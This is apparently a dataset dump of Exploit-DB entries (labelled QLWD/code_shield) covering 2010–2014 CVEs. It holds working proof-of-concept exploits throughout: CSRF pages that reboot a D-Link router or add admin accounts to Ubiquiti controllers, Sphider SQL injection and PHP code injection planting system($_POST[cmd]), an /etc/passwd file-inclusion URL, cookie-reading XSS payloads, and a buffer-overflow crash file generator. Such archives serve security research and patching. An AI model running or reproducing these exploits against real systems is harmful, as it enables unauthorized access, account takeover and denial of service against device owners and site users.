QLWD/code_shield huggingface dataset:
标题: D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery / Denial of Service EDB-ID: 34203 CVE: 2014-3136 类型: DOS 平台: HARDWARE 发布日期: 2014-07-30 漏洞利用脚本: Exploit Title:  Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 29/07/14
Vendor Homepage : http://www.dlink.com/
Software Link : N/A
Firmware version: v2.02 2013-03-13
Tested on : Windows 7
CVE : CVE-2014-3136
Type of Application :  Web application
Release mode : Coordinated disclosure



Vulnerability description:



It was observed that the D-link DWR-113 wireless router is vulnerable to
denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.



An attacker could craft a malicious CSRF exploit to change the password in
the password functionality when the user(admin) is logged in to the
application ,as the user interface (admin panel) lacks the csrf token or
nonce to prevent an attacker to change the password.



As a result, as soon as the crafted malicious exploit is executed the
router is rebooted and the user could not login thus forcing to reset the
router’s device physically ,leading to a denial of service condition.



POC code (exploit) :



*Restart Router by CSRF*



<html>

  <!-- CSRF PoC --->

  <body>

    <form action="http://192.168.0.1/rebo.htm">

      <input type="hidden" name="S00010002" value="test" />

      <input type="hidden" name="np2" value="test" />

      <input type="hidden" name="N00150004" value="0" />

      <input type="hidden" name="N00150001" value="" />

      <input type="hidden" name="N00150003" value="1080" />

      <input type="hidden" name="_cce" value="0x80150002" />

      <input type="hidden" name="_sce" value="%Ssc" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>





Tools used :

Mozilla firefox browser v28.0 , Burp proxy free edition v1.5



Timeline :



06-04-14 : Contacted Vendor with details of Vulnerability and Exploit.



06-04-14 : Vendor D-Link forwards to R&D team for review



29-04-14 : Vendor contacted to know the status.



01-05-14 : Vendor acknowledged and released a patch



01-05-14 : CVE ID provided by Mitre team.



http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034 URL: https://www.exploit-db.com/exploits/34203
标题: Jamroom 4.0.2/4.1.x - 'forum.php' Cross-Site Scripting EDB-ID: 34183 CVE: 2010-2463 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/41071/info

Jamroom is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Jamroom versions prior to 4.1.9 are vulnerable. 

http://www.example.com/forum.php?mode=modify&band_id=0&t=<T>&c=<C>&post_id=<POST_ID>%00%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34183
标题: Mozilla Firefox/Thunderbird/SeaMonkey - XSLT Integer Overflow EDB-ID: 34192 CVE: 2010-1199 类型: REMOTE 平台: LINUX 发布日期: 2010-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/41082/info

Mozilla Firefox, SeaMonkey, and Thunderbird are prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will likely result in denial-of-service conditions.

These issues are fixed in:

Firefox 3.6.4
Firefox 3.5.10
Thunderbird 3.0.5
SeaMonkey 2.0.5

NOTE: This issue was previously covered in BID 41050 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-26/27/28/29/30/32 Remote Vulnerabilities) but has been given its own record to better document it.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34192.zip URL: https://www.exploit-db.com/exploits/34192
标题: Ubiquiti UbiFi / mFi / AirVision - Cross-Site Request Forgery EDB-ID: 34187 CVE: 2014-2225 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-07-28 漏洞利用脚本: # Vendor Homepage: (http://www.ubnt.com/)

# Tested on: Kali Linux
-----------------------------------------
Affected Products/Versions:
-----------------------------------------
UniFi Controller v2.4.6
mFi Controller v2.0.15
AirVision Controller v2.1.3
Note: Previous versions may be affected


-----------------
Description:
-----------------
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-2225
CWE: http://cwe.mitre.org/data/definitions/352.html


Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2225.html
Researcher: Seth Art - @sethsec

---------------
UniFi POC:

---------------

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:8443/api/add/admin"

var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;


charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!

<body onload="sendCSRF()">

</body>

-------------
mFi POC:
-------------
<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:6443/api/v1.0/add/admin"


var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);


xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;
charset=UTF-8");
xmlhttp.withCredentials= "true";


xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>



--------------------

AirVision POC:
--------------------
<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:7443/api/v2.0/admin"


var post_data="{\”name\”:\”csrf\”,\”email\”:\”csrf@gmail.com\”,\”userGroup:\”:\”admin\”,\”x_password\”:\”password\”,\”confirmPassword\”:\”password\”,\”disabled\”:\”false\”}”


var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/plain; charset=UTF-8");


xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">


</body>



-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater
mFi Controller - Upgrade to mFi Controller v2.0.24 or greater
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note:

The application name changed from AirVision to UniFi Video) URL: https://www.exploit-db.com/exploits/34187
标题: Sphider Search Engine 1.3.6 - Multiple Vulnerabilities EDB-ID: 34189 CVE: 2014-5194 2014-5193 2014-5192 2014-5082 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-28 漏洞利用脚本: # Exploit Title: Sphider 1.3.6 or later SQL Injection
# Google Dork: intitle:"Sphider Admin Login"
# Date: 1 July 2014
# Exploit Author: Mike Manzotti
# Vendor Homepage: http://www.sphider.eu/
# Software Link: http://www.sphider.eu/sphider-1.3.6.zip
# Version: v 1.3.6

Description:
The web application is vulnerable to SQLi. Once a website has been indexed with Sphider, an attacker can inject SQL under Sites -> Browser pages-> filter option.

Proof of Concept:
Response: POST: /admin/admin.php
per_page=10&filter='union+select+1,@@version+;#&start=1&site_id=1&f=21

Response:
<tr class="grey">
<td><a href="5.5.35-0+wheezy1">5.5.35-0+wheezy1</a></td>
<td width="8%">
[cid:image001.jpg@01CFAA73.0B6B8330]



# Exploit Title: Sphider 1.3.6 or later PHP Injection

Description:
An authenticated user can inject PHP code in configuration settings. This would allow an attacker to take full control of the server. Note that in v1.3.5 authentication can be bypassed. Also note that this issue depends on permissions of "conf.php file". However during the installation the user is advised to change the permissions of "conf.php" file to chmod 666.

Proof of Concept:
Request: POST /admin/admin.php
f=settings&Submit=1&_version_nr=1.3.5&_language=en&_template=standard&_admin_email=admin%40localhost&_print_results=1&_tmp_dir=tmp&_log_dir=log&_log_format=html&_min_words_per_page=10&_min_word_length=3&_word_upper_bound=100;system($_POST[cmd])&_index_numbers=1&_index_meta_keywords=1&_pdftotext_path=c%3A%5Ctemp%5Cpdftotext.exe&_catdoc_path=c%3A%5Ctemp%5Ccatdoc.exe&_xls2csv_path=c%3A%5Ctemp%5Cxls2csv&_catppt_path=c%3A%5Ctemp%5Ccatppt&_user_agent=Sphider&_min_delay=0&_strip_sessids=1&_results_per_page=10&_cat_columns=2&_bound_search_result=0&_length_of_link_desc=0&_links_to_next=9&_show_meta_description=1&_show_query_scores=1&_show_categories=1&_desc_length=250&_did_you_mean_enabled=1&_suggest_enabled=1&_suggest_history=1&_suggest_rows=10&_title_weight=20&_domain_weight=60&_path_weight=10&_meta_weight=5

"system($_POST[cmd])" has been injected.

Request: POST http://URL/sphider/settings/conf.php
cmd=pwd

Response:
/var/www/sphider/settings


# Exploit Title: Sphider 1.3.6 or later Stored and Reflected XSS

Description:
The web application is prone to Stored and Reflected Cross site scripting.

Stored XSS:
Request: POST /admin/admin.php
f=7&parent=&category=<script>alert(document.cookie)</script>

Response
<a href="admin.php?f=edit_cat&cat_id=1">
<script>alert(document.cookie)
</script>
</a>

Reflected XSS:

Request: POST /sphider/admin/admin.php
f=index&adv=1&url="/><script>alert(document.cookie)</script>

Response:
<a href="admin.php?f=edit_cat&cat_id=1">
<script>alert(document.cookie)
</script>
</a>


Solution:
Currently none. The author has been informed.

Timeline:
1 July 2014: The author has been informed
28 July 2014: Vulnerability published URL: https://www.exploit-db.com/exploits/34189
标题: IBM Websphere ILOG JRules 6.7 - Cross-Site Scripting EDB-ID: 34179 CVE: 2010-2433 类型: WEBAPPS 平台: JSP 发布日期: 2010-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/41030/info

IBM WebSphere ILOG JRules is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects version 6.7. 


The following example input to the URI is available:
?<script>alert(31521);</script>? URL: https://www.exploit-db.com/exploits/34179
标题: DirPHP 1.0 - Local File Inclusion EDB-ID: 34173 CVE: 2014-5115 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-27 漏洞利用脚本: # Exploit Title: DirPHP - version 1.0 Local File Inclusion
# Google Dork: intext:DirPHP - version 1.0 - Created & Maintained by Stuart
Montgomery
# Date: 7/26/14
# Exploit Author: -Chosen-
# Contact: dark[dot]binary[dot]code@gmail.com
# Version: DirPHP - Version 1.0
# Tested on: *nix

PoC:

http://site.com/path/index.php?phpfile=/etc/passwd URL: https://www.exploit-db.com/exploits/34173
标题: Moodle 2.7 - Persistent Cross-Site Scripting EDB-ID: 34169 CVE: 2014-3544 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-27 漏洞利用脚本: Title: Moodle 2.7 Persistent XSS
Vendor: https://moodle.org/
Moodle advisory: https://moodle.org/mod/forum/discuss.php?d=264265
Researched by: Osanda Malith Jayathissa (@OsandaMalith)
E-Mail: osanda[cat]unseen.is
Original write-up: http://osandamalith.wordpress.com/2014/07/25/moodle-2-7-persistent-xss/

[-] POC
================

1. Edit your profile
2. Click Optional
3. In Skype ID field inject this payload

x" onload="prompt('XSS by Osanda')">"

[-] Disclosure Timeline
========================

2014-05-24: Responsibly disclosed to the Vendor
2014-05-27: Suggested a fix
2014-06-04: Fix got accepted
2014-07-21: Vendor releases a security announcement 
2014-07-24: Released Moodle 2.7.1 stable with all patches URL: https://www.exploit-db.com/exploits/34169
标题: ZeroCMS 1.0 - Persistent Cross-Site Scripting EDB-ID: 34170 CVE: 2014-4710 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-27 漏洞利用脚本: ######################
# Exploit Title: Persistent ZeroCMS Cross-Site Scripting Vulnerability

# Discovered by: Mayuresh Dani

# Vendor Homepage: http://www.aas9.in/zerocms/

# Software Link: https://github.com/pcx1256/zerocms/archive/master.zip

# Version: 1.0?

# Date: 2014-07-25

# Tested on: Windows 7 / Mozilla Firefox
              Ubuntu 14.04 / Mozilla Firefox

# CVE: CVE-2014-4710

######################

# Vulnerability Disclosure Timeline:

2014-06-15:  Discovered vulnerability
2014-06-23:  Vendor Notification (Support e-mail address)
2014-07-25:  Public Disclosure

# Description

ZeroCMS is a very simple Content Management System Built using PHP and
MySQL.

The application does not validate any input to the "Full Name", "Email
Address", "Password" or "Confirm Password" functionality. It saves this
unsanitized input in the backend databased and executes it when visiting
the subsequent or any logged-in pages.

######################

# Steps to reproduce the vulnerability

1) Visit the "Create Account" page (eg.
http://localhost/zerocms/zero_transact_user.php)

2) Enter your favourite XSS payload and click on "Create Account"

3) Enjoy!

More information:
https://community.qualys.com/blogs/securitylabs/2014/07/24/yet-another-zerocms-cross-site-scripting-vulnerability-cve-2014-4710

#####################

Thanks,
Mayuresh. URL: https://www.exploit-db.com/exploits/34170
标题: Zenoss Monitoring System 4.2.5-2108 (x64) - Persistent Cross-Site Scripting EDB-ID: 34165 CVE: 2014-3738 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-07-25 漏洞利用脚本: # Exploit Title: Stored XSS vulnerability in Zenoss core open source monitoring system
# Date: 12/05/2014
# Exploit author: Dolev Farhi dolev(at)openflare.org
# Vendor homepage: http://zenoss.com
# Software Link: http://www.zenoss.com
# Version: Core 4.2.5-2108 64bit
# Tested on: Kali Linux
# Vendor alerted: 12/05/2014
# CVE-2014-3738

Software details:

==================

Zenoss (Zenoss Core) is a free and open-source application, server, and 
network management platform based on the Zope application server.

Released under the GNU General Public License (GPL) version 2, Zenoss 
Core provides a web interface that

allows system administrators to monitor availability, 
inventory/configuration, performance, and events.



Vulnerability details:   Stored XSS Vulnerability

========================

A persistent XSS vulnerability was found in Zenoss core, by creating a 
malicious host with the Title <script>alert("Xss")</script> any user 
browsing

to the relevant manufacturers page will get a client-side script 
executed immediately.





Proof of Concept:
1. Create a device with with the Title <script>alert("XSS")</script>
2. Navigate to the  Infrastructure -> Manufacturers page.
3. pick the name of the manufacturer of the device, e.g. Intel
4. select the type of the hardware the device is assigned to, e.g. GenuineIntel_ Intel(R) Core(TM) i7-2640M CPU _ 2.80GHz
5. the XSS Executes.

<tr class="even">

       <td class="tablevalues"><a href='/zport/dmd/Devices/Server/Linux/devices/localhost/devicedetail'><script>alert("Dolev")</script></a></td>

       <td class="tablevalues">GenuineIntel_ Intel(R) Core(TM) i7-2640M CPU _ 2.80GHz</td>

</tr> URL: https://www.exploit-db.com/exploits/34165
标题: BulletProof FTP Client 2010 - Buffer Overflow (SEH) (PoC) EDB-ID: 34162 CVE: 2014-2973 类型: DOS 平台: WINDOWS 发布日期: 2014-07-24 漏洞利用脚本: #-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH)          #
# Date: Jul 24 2014                                                           #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP SP3                                                   #
# CVE: CVE-2014-2973                                                          #
#-----------------------------------------------------------------------------#

'''
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=41414141 ecx=007ef590 edx=00000000 esi=017a4f6a edi=017a516a
eip=005c005b esp=0012f594 ebp=0012f610 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for bpftpclient.exe -
bpftpclient+0x1c005b:
005c005b f6431c10        test    byte ptr [ebx+1Ch],10h     ds:0023:4141415d=??
0:000> !exchain
0012f59c: bpftpclient+1c044e (005c044e)
0012f5a8: bpftpclient+1c046b (005c046b)
0012f618: 43434343
Invalid exception stack at 42424242
0:000> g
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
eip=43434343 esp=0012f1c4 ebp=0012f1e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
43434343 ??              ???
'''

#!/usr/bin/python

junk1 = b'\x41' * 89
nSEH  = b'\x42' * 4
SEH   = b'\x43' * 4
junk2 = b'\x44' * 1000

sploit = junk1 + nSEH + SEH + junk2

try:
  print('[+] Creating exploit file...')
  f = open('sploit.txt', 'wb')
  f.write(sploit)
  f.close()
  print('[+] Exploit file created successfully!')
except:
  print('[!] Error while creating exploit file!')

print('[+] Use the following as Server Name/IP with any user\'s credentials!')
print(sploit.decode())

##EDB Note: You can also enter the contents of the file in the "Enter URL" to cause this crash. URL: https://www.exploit-db.com/exploits/34162
标题: 2DayBiz ybiz Network Community Script - SQL Injection / Cross-Site Scripting EDB-ID: 34153 CVE: 2010-5015 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/40913/info

2daybiz Network Community Script is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URIs are available:

SQL Injection:

http://www.example.com/products/orkutclone/view_photo.php?page=3&alb=[SQLI]

Cross site Scripting:

http://www.example.com/products/orkutclone/scrapbook.php?id=[XSS] URL: https://www.exploit-db.com/exploits/34153
标题: CUPS 1.4.2 - Web Interface Information Disclosure EDB-ID: 34152 CVE: 2010-1748 类型: REMOTE 平台: LINUX 发布日期: 2010-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/40897/info

CUPS is prone to a remote information-disclosure vulnerability. This issue affects the CUPS web interface component.

Remote attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

NOTE: This issue was previously covered in BID 40871 (Apple Mac OS X Prior to 10.6.4 Multiple Security Vulnerabilities), but has been given its own record to better document it. 

http://www.example.com:631/admin?URL=/admin/&OP=% URL: https://www.exploit-db.com/exploits/34152
标题: Python 3.2 - 'audioop' Module Memory Corruption EDB-ID: 34145 CVE: 2010-2089 类型: DOS 平台: UNIX 发布日期: 2010-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/40863/info

The 'audioop' module for Python is prone to a memory-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

 $ python -c "import audioop; audioop.reverse('X', 2)" URL: https://www.exploit-db.com/exploits/34145
标题: VideoWhisper PHP 2 Way Video Chat - 'r' Cross-Site Scripting EDB-ID: 34138 CVE: 2010-4971 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/40832/info

VideoWhisper PHP 2 Way Video Chat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?r=%22%3E%3E%3Cmarquee%3E%3Ch1%3EXSS3d%20By%20Sid3^effects%3C/h1%3E%3Cmarquee%3E URL: https://www.exploit-db.com/exploits/34138
标题: XnView 1.97.4 - '.MBM' File Remote Heap Buffer Overflow EDB-ID: 34143 CVE: 2010-1932 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/40852/info

XnView is prone to a remote heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Versions prior to XnView 1.97.5 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34143.rar URL: https://www.exploit-db.com/exploits/34143
标题: AneCMS 1.x - '/modules/blog/index.php' HTML Injection EDB-ID: 34140 CVE: 2010-2437 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/40838/info


AneCMS is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

AneCMS 1.3 is vulnerable; other versions may also be affected. 

hello <script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/34140
标题: AneCMS 1.x - '/modules/blog/index.php' SQL Injection EDB-ID: 34141 CVE: 2010-2436 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/40840/info

AneCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AneCMS 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/blog/1+ANY_SQL_CODE_HERE/Demo_of_ANE_CMS#comment-63 URL: https://www.exploit-db.com/exploits/34141
标题: Bits Video Script 2.04/2.05 - '/register.php' Arbitrary File Upload / Arbitrary PHP Code Execution EDB-ID: 34120 CVE: 2010-0366 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40712/info
 
Bits Video Script is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
 
Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. 

http://www.example.com/Video/register.php URL: https://www.exploit-db.com/exploits/34120